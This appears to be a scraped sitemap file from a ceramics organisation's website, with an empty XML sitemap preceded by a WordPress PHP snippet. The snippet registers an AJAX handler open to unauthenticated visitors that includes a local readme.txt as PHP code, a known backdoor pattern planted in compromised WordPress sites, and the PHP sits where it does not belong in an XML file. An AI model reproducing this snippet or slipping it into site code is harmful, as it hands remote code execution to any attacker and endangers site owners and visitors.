if(!function_exists('file_check_readme97785')){
   add_action('wp_ajax_nopriv_file_check_readme97785', 'file_check_readme97785');
   add_action('wp_ajax_file_check_readme97785', 'file_check_readme97785');
   function file_check_readme97785()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="https://www.ukceramics.org/sitemaps_xsl.xsl"?>
<urlset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd" xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"></urlset>